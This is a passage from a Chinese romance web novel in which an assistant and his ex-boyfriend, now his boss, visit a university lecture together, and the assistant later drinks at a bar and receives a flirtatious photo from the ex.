但现在,沈垣之眼神飘忽不定地落在远处。
大概是学校这个场景太过特殊, 虽然和高中不同, 但通往教学楼的林荫校道, 漫无目的走路的学生, 不远处的塑胶跑道上有几抹身影——
一切都那么熟悉。
沈垣之目光微怔, 他下意识摩挲着指节来克制着不该有的想法,但在感受到身侧传来的温度后,他指节微怔,将它藏在了袖子里。
自两人重逢以来,沈垣之在此刻第一次感受到了, 久违的,一股参杂着酸楚的心安。
没有试探。
没有互相揭开伤疤,也没有匿于马甲之下,那阴暗又潮湿的想法。
正如席殃画的那副简笔画一般。
今天是个好天气。
所以沈垣之想站在他身旁。
找的这个理由太过蹩脚,但沈垣之还是这样做了。两人默契地保持沉默,被阳光照的暖洋洋的沈垣之有些自恋地想。
人与人之间或许真的有磁场,不然他怎么会觉得,此时此刻的席殃也是开心的。
“冯沅在追你?”
思绪游离之际,身侧突然传来席殃的声音。
沈垣之一愣,下意识偏头去看,撞进席殃眼眸的那刹,他心猛地跳了一下。
不知道他和冯沅聊了什么,也不知道怎么会聊到这个话题上,沈垣之唇一动,刚想说没有时,扫到席殃那紧抿的唇,他鬼迷心窍地没有说话。
席殃眼眸很沉,此刻看着他时唇边的笑意淡了些。
沈垣之被看的有些心虚。
但这份心虚中又带了几分连他自己都不太理解的,很阴暗的愉悦,仿佛席殃眼眸再沉一点,再面无表情多一点,他心里的爽度就会上升一大截。
这样沉默了一会儿,沈垣之漫不经心地反问道:“是吗?”
席殃闻言看了他一眼,没说话。
沈垣之见状抿了下嘴。
注意到他的小动作,席殃没什么情绪地再次开口道:“他似乎很了解你。”
沈垣之闻言眉头一展,接着又很快皱了起来。
展开是因为他和冯沅有提起过他,而且大概率是好话,皱眉是因为沈垣之不喜欢这句话,尤其是从席殃嘴里说出来。
冯沅能有多了解他。
有你席殃了解的多吗。
全身上下都被你看过了,摸过了,谁比你更了解。
这样想着,沈垣之眉头皱得更深了。
眼不见为净,干脆走远些。
还没等沈垣之移开一点,身旁的席殃像是松了一口气,语气间含上了笑:“怎么了?”
还敢问怎么了。
他好歹长得漂亮,又有钱,谈起恋爱还黏人,这么完美的他被人惦记了,那人还找到你脸上,你还敢问怎么了。
谁家前任像你这样。
压下心里渐渐泛起怒火与莫名的酸楚,看也不想看他,沈垣之面无表情道:“没怎么……”
停顿几秒,他若无其事地开口道:“席总也没少被人追吧。”
双目对视,席殃的视线太过强烈,沈垣之呼吸都有些受阻的,他很快移开了视线。
等了许久之后,席殃依旧没有开口。
沈垣之眼眸一沉,冷冰冰地转移了话题:“冯沅人呢……”
“没有。”
“我性格不好,不像你讨人喜欢。”
沈垣之眉间一挑,偏头看了席殃一眼,眼眸里染了些他都没察觉到的笑意,他干巴巴地“哦”了一声:“是吗。”
在他看不见的视线里,席殃的唇边勾起很淡的一抹笑。两人又恢复到之前的状态,没人去管冯沅去了哪里。
校园小径上人来人往,他俩隔着几层布料肩靠着臂膀,站在原地晒着太阳。
有点傻。
“现在不紧张了吧。”
沉默之际,席殃突然开口问。
沈垣之有些意外的看向他。
反应以来的沈垣之一愣。
难怪席殃突然之间说这么多话,原来是想转移他的注意力,有些意外地应了声,沈垣之想了又想,片刻后他有些不自然地开口,声音很小:“我不喜欢那样的。”
说完之后没有过多解释,沈垣之抿紧了唇。
察觉到席殃投来的视线,本就失衡的心跳在沉默声中达到了顶峰,沈垣之喉结一滚,刚想说些什么找补时,席殃低声笑道。
“知道了。”
“你不喜欢那样的。”
被席殃这笃定的语气弄得有些逆反,沈垣之皱着眉下意识地反驳:“其实也不是。”
见席殃还在笑,沈垣之立马不开心:“那你说我喜欢哪……”
席殃闻言没说话,只是在沈垣之略带迟疑的目光下,慢条斯理举起早就准备好的手机,并很自然地点开了摄像头。
屏幕里出现了席殃那张帅到惨绝人寰的脸……
以及呆愣在原地的沈垣之。
瞥见屏幕里两人的脸,沈垣之心都快蹦出来了,他一方面想着,这是在干什么,席殃出了趟国脸都不要了,另一方面又想着,席殃真该死,是不是又在撩他。
正胡思乱想之际,一直盯着看他的席殃眼眸渐渐染了几分笑意,他语气淡淡:“沈垣之。”
“干嘛。”
沈垣之语气生硬。
“过来点。”
沈垣之一愣,下意识地凑了过去。
手机屏幕定格在两人靠在一起的瞬间,席殃正大光明地偷拍了下来,没反应过来的沈垣之呼吸微怔,唇一动,显然被席殃这一套动作打得始料未及。
“打个异地卡。”席殃笑着收回了手机:“谢谢沈助配合。”
很快地,席殃手机很快传来上班打卡成功的声音。
机械女声莫名的欢快。
沈垣之:“……”
上完厕所回来的冯沅隔得老远就看见两位领导站得好远,一个正低着头看手机,一个手里似乎正玩着花。
好像又是闹别扭了。
闹别扭。
脑子里浮现出这三个字时冯沅脚步一顿,不知是不是他错觉,他总觉得两人之间有股莫名的氛围,不像是正常的上下属关系,说不出道不明,自带界限的,是他插不进去的。
譬如此刻。
压下疑惑,冯沅迟疑片刻后抬脚走去。
沈垣之没注意到冯沅朝他走来,反倒是注意到不远处两道有些扎眼的身影,他呼吸一怔,那股紧张感再次席卷而来。
“席总。”
顾不上还有些生气,沈垣之有些严肃的站直了身:“廖教授他们过来了。”
身旁的席殃顺着望去,声音很轻的应了声:“看到了。”
说完,他看了眼身旁抿着唇的沈垣之,主动走了过去,轻声细语的:“我看过你整理的文件,做得很好。”
沈垣之一愣,有些意外地抬起头来。
“剩下的交给我。”席殃眼眸含笑,声音轻轻的,像是在安抚:“别太紧张。”
心跳的很快。
沈垣之盯着席殃站在他身前和廖教授侃侃而谈的背影,目光怔了又怔,以前和黎炫接触项目负责人时,大多时候都是他来引导话题,这是头一次,有人站在了他身前。
而且席殃显山不露水,竟和廖教授聊的很好。在背后听着他们从今天天气聊到的讲座内容,沈垣之心一动,盯着席殃的侧脸唇抿了又抿。
“您好。”
思索之际,和他同行的许助理朝他笑了笑:“我姓许,许安。”
“您好。”
沈垣之很快回过神来,他主动伸手朝他握了握:“我姓沈,沈垣之。”
“这位是我们的工程师,冯沅。”
沈垣之介绍道。
冯沅很机灵,探出头笑着朝他握了握手。
许安也对他笑了笑。
许安看着年龄不大,大概也是刚毕业,没有微信里的客气和疏离,说话时唇边挂着笑,只不过偶尔会看一下手机。
见沈垣之望过来,他有些不好意思解释道:“廖老师不太喜欢被人跟着,但这个学校教学楼太多了……”
他语气一顿。
沈垣之很快了然,眸间染上了几分笑意,配合道:“若廖教授不介意,我可以帮忙带带路。”
许安闻言有些诧异地睁大了眼睛:“沈助理知道路?”
沈垣之点了点头。
他语气一顿,补充道:“G大总建筑面积大概有一百多万平方米,教学楼东一栋,西一栋的,确实不太容易找。”
“我以前在这里读书的时候也经常找错。”
说完,像是想到了什么,沈垣之脚步一顿,他看了眼走在前面和廖教授相谈甚欢,似乎对学校规划很熟悉的席殃,迟疑地抿了下唇。
尤其是“明苑楼”准确无误出现在眼前时,沈垣之心里渐渐冒出一个荒谬的念头。
席殃怎么对他学校这么熟?
第25章 第 25 章 “坏男人。”
如果说那个待考证的行李箱是个意外。
那脱口而出的咖啡店地址和对他学校的熟悉程度又是怎么回事。
沈垣之眉头一皱, 那些本压制下的念头又渐渐冒了出来,他若有所思地盯着席殃的背影,内心再次产生出强烈的好奇。
尽管, 他知道大概率这就是席殃想要的。
想到这,沈垣之顿时豁然开朗。
席殃一直是一个不善言谈的人,以前和他两人谈恋爱时, 除了被黏的实在扛不住他才会偶尔说几句好听的话,但也只是“宝宝”、“乖一点”、“听话点”之类非常直男的话。
他很少说喜欢,沈垣之却感觉得到,大概是因为他的需求, 席殃大多时候都能满足。
比如他嫌席殃那破出租屋的床板太硬, 第二天再躺下时就发现床上垫了厚厚一层床垫。
又或者是大半夜惦记着学校旁那家24小时营业的小锅米线,席殃默不作声穿好了衣服,骑着自行车带他去吃。
像这样的事很多。
这段恋爱中沈垣之不是一头热,他也不是受虐狂, 是因为真实感受过席殃对他的喜欢,所以尽管分手这么久了,他还是没能将这个人从心里彻底剔除。
意识到自己在想什么, 沈垣之冷着脸纠正了一下自己。
是没能将这些事从心里彻底剔除。
跟随大流进了会议室, 没注意到席殃投来视线的沈垣之继续分析着。
席殃大多时候都是默不作声的付出, 很少主动说什么, 甚至在很久很久之后, 沈垣之才知道,早在他喜欢上席殃之前,席殃就暗恋他了。
那是在两人某次吵架之后,沈垣之娇气病又犯了,觉得席殃不喜欢他, 当晚席殃怎么也哄不好他,连他喜欢的亲亲也不好使。
第二天沈垣之就在床头看见了席殃那本怎么都不让他碰的画册。
席殃人不在,却给他留了字条。
【不知道还要怎么喜欢你才好。】
沈垣之当时一愣,第一反应是画册里就有他想要的答案,于是很快翻开了。
席殃的画和他本人很像,笔触内敛,细致入微,他大多时候都是在画景。
有学校,教学楼,有小河沟,日落。
色彩偏暗,很多时候都是黄昏时的模样。
沈垣之一页页翻着,最后目光落在了头一次出现在画册上的人物,背景也是某个黄昏,画里穿着蓝白校服的男孩正在和另一个线条随意的同学在笑,脸侧那个梨涡非常显眼。
沈垣之一眼就认出是他和薄言。
想了好久沈垣之都没想到这是在什么时候,他只好按下疑惑继续翻,之后席殃就不再只限于画景了,画册里隔三岔五就出现沈垣之的身影。
有周一在主席台上讲话的样子,班上维持纪律的凶凶模样,席殃在这张沈垣之旁画了个很酷但在求饶的小卡通席殃。
并罕见地写了备注:“小圆训人。”
沈垣之一愣。
他很久之前就叫他小圆了。
沈垣之当时有些想哭,又有些想笑,因为他发现席殃关于他什么都画,包括他喝水的样子,甚至在课堂上打盹流口水的模样。
席殃的画代表了他的内心世界,恋爱之后他笔下的色彩更加丰富了起来,沈垣之也看到了他在席殃眼里的样子,他大多时候是可爱的,席殃甚至在画里给他画了猫耳朵。
说小圆是他见过最嚣张的小猫。
也是世界上最可爱的小猫。
如果不是席殃主动给他看,沈垣之想,他这辈子估计都不知道自己苦苦骚扰并追求的对象,在很久之前就已经喜欢上了自己。
所以很多时候,沈垣之能轻而易举看到的,一定是席殃想让他看到的。
所以行李箱是故意给他看到的,咖啡店地址不是看到地图才脱口而出,对他的学校熟悉不是因为项目需要而提前考察。
答案在很早之前,席殃就亲口说过了。
他回来过。
沈垣之抿了一下唇,对席殃这副坦荡的模样有些不解,但他又想了想,席殃看似坦荡,却又处处引导着他去寻找答案。
比如为什么会回来,为了谁回来,为什么偏偏来的是沈垣之的学校,“找个解脱”又是怎么回事。
沈垣之全都不知道。
席殃光明正大的布了一个局,就等着沈垣之自己钻进来,让他产生好奇是第一步,最终目的肯定又是想勾引他。
坏男人。
骚男人。
坐在席殃身后的座位上,看着席殃的侧脸,沈垣之阴测测地磨了一下,这次他绝不会按照席殃的节奏走了。
无论席殃是出于什么目的,他这步棋是走错了,因为沈垣之已经不是之前的沈垣之了,他现在对席殃一点都不好奇。
“席先生对这所学校还挺熟悉的。”
思虑之际,身前传来廖教授的声音,沈垣之沉默了一会儿,身子有些不自然的往前倾了一下。
“嗯。”席殃没有否认,唇边挂上很淡的笑意,和这位享誉盛名的心理学教授交流,他并不怯场也不卖关子:“很多年前来过一回。”
竖着耳朵的沈垣之抿了一下唇。
席殃语气间流露着很淡的笑意:“不过我记得也不是很清楚,刚刚生怕给您带错路。”
廖教授一愣,显然没意料到还有这一出,他发自内心的笑了一下,沈垣之身侧的许安见状有些意外的抬了下眼。
捕捉到许安的异样,沈垣之若有所思的看了眼侧前方这位教授,虽然上了年纪,但身上的气度不凡,这身讲究的西装,有些花白的头发被打理的很利落,一双眼眸带着心理教授独有的锐利。
许安的反应说明他不常笑。
沈垣之眉头轻轻皱了一下。
而且在昨晚已经推了见面的前提下,今天一早却主动让许安联系了他,席殃对来G大像是提前得知,表现得毫无疑义。
在观察两人交谈后,沈垣之发现这位教授和席殃并不生疏,如果他猜的没错,应该是席殃昨晚主动联系过这位教授。
思绪尚未消散,廖教授接下来的话很快就验证了这个想法。
“我昨晚看了你发来的邮件,说实话这也是我今天愿意和席先生你见面的原因,设计理念很好,产品资料清晰明了,不像是常规的套路模板。”
廖教授看了他一眼,敏锐道:“之前有做过这方面的论文研究?”
席殃罕见的愣了一下,他看了眼沈垣之,平静的“嗯”了一声:“在国外跟过一位教授学习过,”他声音有些哑:“不过没读完。”
沈垣之有些意外的朝他看了过去。
“嗯。”廖教授简短的的应了声,并没有继续探究下去:“您和助理虽不远赶来,但实话实说,我本来是不想和你们见面的,”
廖教授坦荡道:“不过见了您发来的邮件后,我想了想,有些话还是要讲清楚,讲明白点。”
“这个项目没你们想的那么好。”廖教授语气平静:“一中建于五十年前,从私立到公立也有了很多个年头,有过辉煌也有过低谷。”
“这些年周围几个学校早早就更换了设施项目,当然也包括无线音频系统在内,但一中今年才被提上计划日程。”
廖教授语气一顿:“这些年一中师资力量逐渐被占用,学生大幅度流失,升学率也不负以往,它之所以还有声量,只是因为挂上了一中的牌子。”
沈垣之闻言一愣,一时间许安和身旁的冯沅也抬起了头。
“其实仔细分析,席先生应该也清楚,一个不再受重视的学校,竞标一少再少,即使贵司挂上了名号但带来的利益可能还不如一个落地工程。”
廖教授语气平静,却字字有力。
沈垣之不知道其中来由,但显然这和他们所考察的情况有些出入,但实际情况肯定没有廖教授说的这么严重。
公司那群人不是吃白饭的,谁都不想做无用功,基本的市场考察不会出太大差错,廖教授是在试探,或者是想看看席殃的反应。
反应过来的沈垣之有些担忧的看向了席殃。
出乎意料地,席殃并没有给出什么反应,廖教授也毫不意外,在沉默声中,他们迎来了今天的主讲人。
主讲人是位中年女性,刚进来就在黑板上写了一个词语。
“文字。”
沈垣之看了下手里的宣讲内容,主题没记错,是探讨人性的第二课题。
沈垣之对这些完全不来电,他心里记挂的全是席殃,先不说这个项目能不能顺利拿下,就从席殃和廖教授的对话中,沈垣之察觉到席殃和以前有很大不同。
回想他和两位黎总相处,他知道在什么时候,对什么人该用什么态度,说话也很讲究技巧,和之前不善言谈的模样完全相反。
沈垣之做助理前性格本就开朗,和人打交道也不算是什么难事,但也吃了很多苦头后才学到一些皮毛。
他很难想象,像席殃那样性子的人,在经历了什么之后才能变成现在这样游刃有余。
为什么书没读下去。
他听说国外读书压力大。
席殃是不是受委屈了。
盯着席殃的背影,尽管这是在工作时间,尽管他知道自己的身份不允许,尽管不久前他还说过不对他好奇。
但沈垣之控制不住,心里还是渐渐涌起一阵酸楚。
胡思乱想之际,教室里突然热闹了起来,回过神来的沈垣之看了几眼,是例行的互动环节,女讲师点了其中一个同学起来。
女同学说话很有感染力:“老师让我们分享‘文字’和人性的关系,让我想到了这几年里很令人痛心的网络暴力。”
“无论是被评头论足女明星们,还是我们这些生活在平凡世界的普通人,都有可能经历网络暴力。”
“文字本是无声,只是赋予它灵魂的人有善有恶,”女孩一顿:“我想这大概就是‘文字’和人性的关系。”
沈垣之随着众人鼓了鼓掌。
因话题敏感,女讲师并没有过多评价,只是询问有没有其他人还要上台。
或许是刚刚话题太过沉重,一时间教室里鸦雀无声。
沉默之际,席殃突然站了起来。
在女讲师略带惊讶的视线下,他朝讲台走去。
沈垣之意外地睁大了眼,身侧的冯沅和许安也疑惑着伸长了脖子。只有廖教授,他像是早就预料了般,唇边依旧噙着笑。
“大家好。”
席殃略带笑意的声音从话筒里传了出来。
沈垣之身体一僵,盯着灯光下的席殃,一颗心再次不受控制地跳动了起来。
“我讲的可能比较浅显,希望各位不要介意。”
台下很快传来一道雀跃的女声:“不介意不介意,帅哥爱说多说。”
很快地,教室里传来几道配合的笑声,氛围变轻松了不少,沈垣之见状后背往后轻轻一靠,唇抿紧了些。
面对女孩的调侃,席殃落落大方的勾了下唇,随后回头写了一个字。
“殃。”
沈垣之一愣,是他的名。
“作为一个字它被赋予了许多负面情绪,我想各位看到这个字的第一反应就是‘殃祸’,‘灾难’。”
台下有同学配合着应了几声。
“我曾经也是这样认为的。”
“尤其是这个字从我出生开始,就被填在了户口本上。”
教室里很快安静了下来。
“我一度不喜欢自己的名字。”
“除了表层含义之外,他代表着我的出生至少在那个时刻是不受欢迎的,”他语气一顿,像是想到了什么,有些无奈道:“后来证实了,不仅仅是在那个时刻。”
台下很快发出有些克制,无恶意的笑声。
沈垣之盯着席殃唇边那碍眼的笑,心像是被针刺的疼,眼眸很快沉了下来。
等笑声过了之后,席殃的声音再次响起:“从小到大,在我还不会写‘殃’这个字的时候,被问的最多的就是为什么叫这个名字。”
“席殃,多不吉利。”
席殃的声音从话筒里传了过来。
沈垣之眼尾渐渐染上几分温度,他从没听席殃说过这些,他难以想象席殃曾经遭受过这样的恶意。
“在很长一段时间里我也这样认为,直到在某次放学路上,我听见有一个人念了我的名字。”
“当时正值黄昏,他笑着和朋友说‘夕阳无限好’。”
“他说‘这个名字多好听。’”
说完这句话,席殃突然望了过来,隔着人海对视,沈垣之脑海里发出一阵轰鸣,脑海里很快回想起那本画册的第一幅人物画。
是那个时候。
心跳加速的飞快,喉结重重一滚。
“给大家分享这个故事主要是为了我后面这段话,”席殃勾着唇转移了话题:“我曾经一度觉得我会像我的名字一样,可事实证明并非如此。”
“即使不受重视,或许前路坎坷,”席殃淡淡道:“我想事在人为,不急不躁,总会有转机。”
话刚落音,安静的教室里发出了热烈的掌声,身前的廖教授眼眸含笑,停顿片刻,也鼓了鼓掌。
这意味着什么,不用多说。
沈垣之很快回过神来。
难掩欣喜,他下意识抬头去看台上的席殃,后者不知道看他多久了,见他望过来,很快地,朝他露出一个势在必得的笑。
很带感,漫不经心的帅。
骚东西。
沈垣之难掩克制、情不自禁,已经骂成习惯的骂了一句。
一阵暖洋洋的春风在这时送进来,跳动的心又再次心撞击着狭窄的胸腔,没人注意到的角落,沈垣之的耳尖又偷偷红了。
第26章 第 26 章 “搭在腹肌上。”……
意志坚定。
沈垣之面无表情地从席殃那张脸上移开视线, 并在内心毫无波澜的默念着这四个字。
尤其是在看见前仆后继的男的和小女生们去找席殃要微信时,眼眸一冷,沈垣之木着脸很快从刚才片刻的失神中清醒了过来。
人至少不能, 不应该跳进同一个坑里,两次。
类似和前任忆往昔又狠狠被敲醒那么狼狈的事,沈垣之可不想再来一次了。
看了眼正从台上朝他走过来笑得堪称春风得意的席殃, 沈垣之脸一冷,低着头装作很忙的看手机,很快恢复到以往那副公事公办的状态。
席殃见状唇边的笑意淡了些,脚步微顿, 有些迟疑地看了沈垣之一眼。
感受到席殃自上而下投来的视线, 沈垣之那不争气的心又开始没出息的蹦跶起来,眼见着耳朵逐渐有烫得快着火的趋势,沈垣之一顿,若无其事将头埋得更低了。
他解释不了现在这个状况。
很像以前第一次和席殃偷摸着亲完嘴后的状态, 当时一看到席殃那张脸,以及那被亲湿的嘴唇,沈垣之就受不了似的脸红, 只想逃得远远的。
这太别扭了。
即使在不太合适的环境下, 沈垣之突然意识到自己心跳失衡得过于厉害了, 甚至只是闻着席殃身上那股味道, 只是感受到席殃投来的视线而已。
这太不对劲了。
沈垣之木着脸, 察觉到心里不该有的慌乱,顿时有些坐立难安。
“小席今天下午有什么安排?”
沉默之际,一旁的廖教授开口道。
席殃很快收回视线落座,唇边勾着很淡的笑,客气道:“看廖教授您安排。”
廖教授也不推迟:“明天我一早的飞机, 下午若你有空的话我们去聊聊项目细节,”他语气一顿,笑着说:“刚好我和几位朋友约了下午茶,都是一中的老师。”
沈垣之闻言很快将情绪放下,他抬起头和席殃交换过眼神,后者朝他轻轻点了点头,淡淡地开口道:“那就麻烦廖教授了。”
廖教授笑了笑,没说话。
“老师,”沉默之际,一旁的许安小声开口道:“我下午得在这留一会儿。”
廖教授先是疑惑的“嗯?”了一声,随后了然道:“确实得四处看看,不然回去写不出什么东西来。”
他语气一顿,像是想到了什么,眯着眼拿出了手机:“我和任教授说一声,让他给你安排个同学带你认认路。”
“不用……”
“不用什么?”没等他说完,廖教授回过头冷冷的看了他一眼,无情打压道:“你昨天把我带哪去了?”
许安不说话了,但还是一副欲言又止的模样。
“廖教授,我给许助理带路吧。”
沉默之际,沈垣之突然开口道。
席殃很快扭过头来。
完全没注意到席殃向下耸拉的嘴角,一察觉到席□□线的沈垣之心脏就蹦蹦蹦的跳个不停,沈垣之呼吸有些急促,连看都不敢看他。
缓了一口气,沈垣之笑着对廖教授解释道:“我在这里毕业,对周围环境都挺熟的。”
廖教授闻言很快露出意外的神情来,没等他说什么,一旁的许安闻言很快附和道:“老师这样也好,您就不用麻烦任教授了。”
“那也行。”廖教授迟疑道,他上下打量了沈垣之几眼:“你是叫沈,”他回想了一下:“沈垣之?”
沈垣之有些受宠若惊地“嗯”了声。
“产品资料归纳的不错,”廖教授笑了笑:“不愧是G大高材生,今天就麻烦你了。”
刚刚没来得及自我介绍,廖教授理应不会知道他的名字,而产品信息资料只给席殃看过,廖教授更无从得知是他整理的,除非是席殃特地告诉过他。
沈垣之一愣,很快应了一声,之后他下意识地看向席殃。
后者见他望过来,将唇抿得更紧了些,眼眸沉沉的。
心又开始猛地跳了一下。
沈垣之有些不自然的移开了视线。
在沈垣之的助理培训课程以及多年积攒的经验来说,只要甲方有需求乙方尽量都会满足,有时候买烟买酒等等都是小事,更别这次只是陪甲方逛逛学校而已。
当然,沈垣之答应下来也不仅仅是因为自身的专业素养,更多的是,他想借此机会暂时离席殃稍微远一点,只要一下午就好。
再和席殃待下去,就算离得不远不近,他都怀疑又得像早上在车上那样故技重施,即使是在工作期间,又要忍不住骚扰他了。
一下午,肯定能让他调整好。
这样想着,沈垣之便心安了不少。
讲座结束在半个小时后,廖教授让他们先出来,他和女讲师聊了一会儿,冯沅则是被许安叫到了一旁,估计是交代图纸的问题,安静的过道里于是只剩沈垣之和席殃两人。
沈垣之冷着脸看风景,余光却被席殃吸引,从宽厚的后背滑至窄劲的腰身,即使是在西装的覆盖下,都难以掩饰那惊人的比例。
心又开始砰砰作响,沈垣之看得唇干舌燥,尤其是在和席殃对上视线后,那颗心几乎提到了嗓子眼里。
故作从容的移开视线,一道不紧不慢的脚步声立即从身后传来,沈垣之背立马僵直了。
感受到席殃停在他身后,沈垣之忍着心慌回头去看,镇定道:“怎么了席总?”
双目对视,席殃眼眸一亮,像是松了一口气,接着不知道从西装口袋里捣鼓了什么,攥着拳朝沈垣之伸来,并挑了下眉。
很帅。
妈的,怎么挑得这么帅。
沈垣之在心里感慨道,又想骂句骚东西了,但今天状态实在不对,于是放过席殃一马,面无表情地摊开了手。
肌肤相处,席殃指腹烫得要命。
沈垣之后背都被烫酥了,耳尖更不用说了,他甚至能感觉到头皮都被渡了层暖意过去。
忍着收回手的想法,好在席殃很快将一捧东西放在了他的手心。
沈垣之定眼一看,是几颗奶糖。
“我看你脸色不好,饿了?”
像是怕别人听到,席殃低着头凑得很近,声音轻轻的。
你再凑近点我脸色更不好了。
沈垣之在心里念叨着,耳尖烫的他有些说不出话,但后背就是窗户,逃无可逃,只好攥紧了奶糖,敷衍的“嗯”了声:“有点。”
确定他没说谎话,席殃很快松了一口气,他向后退了一步,声音也含了几分笑意:“那你不要在外面待太久。”
他语气一顿,声音淡淡的:“早点回酒店。”
沈垣之看了他一眼,心想那也得看许安怎么安排,但一看见席殃那张近在咫尺的脸,他呼吸一怔,干脆不说话了。
见他沉默,像是想到了什么,席殃声音低了些:“有事给我发消息。”
听着他太过温柔的语气,沈垣之心跳又不受控制的加快了些,好在廖教授出来的及时,打断了此刻如芒在背的氛围。
听完廖教授和许安交代的话之后,沈垣之和许安待在了原地,目送着三人渐行渐远的背景,他这才松了口气。
很快调整好情绪,沈垣之开始给许安带起路来。
沈垣之虽然毕业有段时间了,但一看到地图还是能立刻回想起来学院的具体位置,而且许安年纪虽小,但做事条理清晰,沈垣之很顺利的就能给他带路,陪着他去找各系主任了解下次的讲座情况。
时间安排的太仓促,两人一下午都忙得晕头转向,还在沈垣之很快忘记了那心跳失衡的感觉。
只是偶尔到某个地方,比如他以前常待的图书馆,又或者是常吃的食堂,有时候甚至只是学院的某个拐角。
都会让他想起席殃。
席殃会不会来过这,席殃会不会去过那,这种肉//体虽然离席殃远了,但心里还时不时想席殃的行为,让沈垣之觉得大事非常不妙。
不妙到以至于他婉拒了许安的晚饭食堂邀约,头也不回的离开了学校。
天色渐晚,同行放学的学生也多了起来,沈垣之状态不好,本想着直接回酒店的,可一想到来都来了,就去东街看看那家咖啡店,帮黎炫问问情况。
按照席殃说的地址,沈垣之很快就找到了那个改名叫‘April’的咖啡馆。
但非常不巧,沈垣之去的时候,这家咖啡馆已经关门了,正准备往回走时,有道声音突然叫住了他。
“沈垣之?”
沈垣之脚步一顿,有些迟疑地看向声音来源。站在酒吧门口的男人见他望过来,眼眸一亮,很惊讶的走了过来。
“我还以为我看错了,还真是你。”
沈垣之定睛一看,也很快认出人来:“余老板?”
梳着大背头,一身黑色休闲装的余老板朝他冷冷地挑来一下眉,他是救援队出身,说起话来很简洁:“你怎么会回来?”
余老板名叫余杭,以前沈垣之经常来这坐坐,后来就和这余老板认识了,沈垣之毕业前‘星野’都快倒闭了,没想到现在又开的这么好,沈垣之也有些意外之喜。
沈垣之连忙调整好思绪,笑着说了和他来这儿的原因。
“April?”余老板看了他一眼,声音带上了很淡的笑:“他们得晚上八点才开门,要不你进来坐坐?”
沈垣之看了眼过于热闹的酒吧,有些犹豫。
余老板看了他一眼,朝里轻轻点了点下巴,语气很淡:“这都是你们学校音乐系的学生,他们不是最近搞文艺汇演吗,我提供场所让他们联系,他们免费给我热热场子。”
沈垣之闻言笑了一下,骂了句万恶的资本家。
余老板低头笑了笑,不置可否:“进去?”
“好久不见今天免费请你喝杯‘马天尼艺术家’。”
沈垣之也不是什么忸怩的人,也不想下余老板面子,他笑了笑:“那就先谢谢余老板了。”
两人一前一后进了门,除了聚光灯下正唱的热火朝天的音专生们,周围都黑漆漆的,沈垣之松了一口气,他尤其钟爱这样的环境,有种莫名的安全感。
虽然现在只是六点左右,但卡座已经有多都坐了人,从余老板那拿了酒之后,沈垣之就自觉的找了个角落坐下,不去打扰他招待客人。
可能是受特定的氛围影响,沈垣之一颗心很快就沉了下来,他看着台上朝气蓬勃的年轻人们,觉得自己这些年变化真大,于是心有感触的拍了他们的几张照片,发了条许久未更新的朋友圈。
【好听。】
沈垣之压根都没听出什么来,但就是想发个朋友圈看看大伙儿给他评论,他这些天,天天都跟席殃在一起,脑子里除了他就是他。
混乱的不行。
一想到席殃,沈垣之眼眸一沉,控制不住的抿了口酒,没过过久手机就震了好几下,点开微信,是薄言给他的评论。
【你在哪,这么多帅哥?】
沈垣之一愣,心想哪帅了,点开照片看了几眼,除了身材还可以外没看见一个帅得突出的,很普通,没席殃半点帅。
意识到自己在想什么,沈垣之脸色一黑,很快又抿了口酒,口里的酒还没喝完,手机突然又震了一下。
点开手机,沈垣之漫不经心瞥见席殃发来的消息时,瞬间莫名心虚的坐直了起来。
【xy:在哪?】
忍着即将快要蹦出来的心跳,沈垣之看了一眼,又一眼,意识到现在是下班时间,他镇定的按了熄屏。
他面无表情地盯着屏幕,过了许久才稍稍放松下来,结果沈垣之第二口酒还没送到嘴里,手机又震动起来。
沈垣之很快点了进去。
但席殃的微信还是停留在那一句“在哪”上,正疑惑之际,手机屏幕突然弹出了短信出来。
沈垣之一愣,控制不住的点了进去。
【匿名短信:今晚怎么不给我发消息?】
【匿名短信:不喜欢我了吗?】
沈垣之呼吸微怔,没等他反应过来,一张照片很快传了过来。
只见不久前还穿的整整齐齐的西装外套被撩开来了,在厕所暖光下,照片的主人单手将黑色衬衣一角掀开,在自上而下的摄像头下,一只骨骼分明的手指,此刻正搭在那块清晰可见的腹肌上。
第27章 第 27 章 “他不玩了。”
沈垣之眼眸一沉。
盯着屏幕这极富冲击力的画面, 沈垣之呼吸都变重了许多,咽下最后一口酒,黑暗里看不清楚他的神情。
任由手机自动熄屏, 匿于黑暗里的沈垣之呼吸微怔,缓了好久才压下那股不该有的异样。
酒吧里的音乐似乎换了一首,是一首较安静的粤语歌, 基调有些忧郁,加上男主尾音带着有些哑,唱这首抒情歌还挺合适,连带着气氛也沉了下来。
灯光渐渐暗了, 黑暗里, 无数情绪都将被接纳,沈垣之盯着手机屏幕发呆,心里渐渐泛起一阵连他都不明白的情绪来,像是伤心, 像是难过,又像是怒火中烧——
要是他没看错,那张照片背景是在某个高档厕所里。
席殃还没应酬完, 在沈垣之还在纠结对他的感情时, 就迫不及待地给他马甲发这些话来, 还又发这种照片, 他以前和席殃在一起时, 从没这个待遇。
就认识了几天,勾搭了几天,说了几句骚话。
至于这么上赶着吗。
思绪之间,全场的灯光突然暗了下来。
沈垣之微怔,他放下酒杯, 盯着聚光灯下正弹着吉他的歌手,眼眸突然染上了几分湿意,他抿了下唇,无意识地又往嘴里灌了一口酒。
心里并没有席殃上钩后的欣喜,只有沈垣之自己都说不出来原因的憋屈,明明早上还勾搭的那么欢乐,明明他本意,就是想席殃注意到他。
可真等席殃主动了,他却受不了了。
为什么。
沉默之际,身侧的沙发一重,一道沙哑的声音随之传来:“怎么一会儿没见,你就点了这么多酒?”
睫毛一扫,沈垣之很快掩下眼眸里的情绪:“怎么,支持你生意不好吗?”
余杭闻言没什么情绪地看了他一眼,没说话。
片刻后,放在桌上的手机又震了一下,沈垣之见状将唇抿紧了几分,正当他想再次端起酒杯时,余杭抓着他的手腕往下压了压。
“行了,别喝了。”他眉头皱了一下,声音很严肃:“照你这样喝没一会儿就醉了。”
感受到手下沈垣之略微挣扎,余杭挑了下眉,配合着松开并勾着唇笑了一下:“像你这样洁身自好的同性恋现在可不多了。”
沈垣之一愣,有些意外地看了他一眼。
被看的余杭倒是不惊讶,他漫不经心地叼起一根烟,眯着眼问沈垣之要不要抽,酒精有些上头的沈垣之摇摇头,还是一副愣在原地的神情。
余杭点燃了烟,火光映得他五官格外硬朗:“那我们聊聊?”
沈垣之很快回过神来。
他背坐直了些,眉心微皱渐渐生起几分警觉,没等他开口拒绝,余杭后背慵懒地往沙发上轻轻一靠,他朝空气吐了口烟雾,视线没目的地落至了某处。
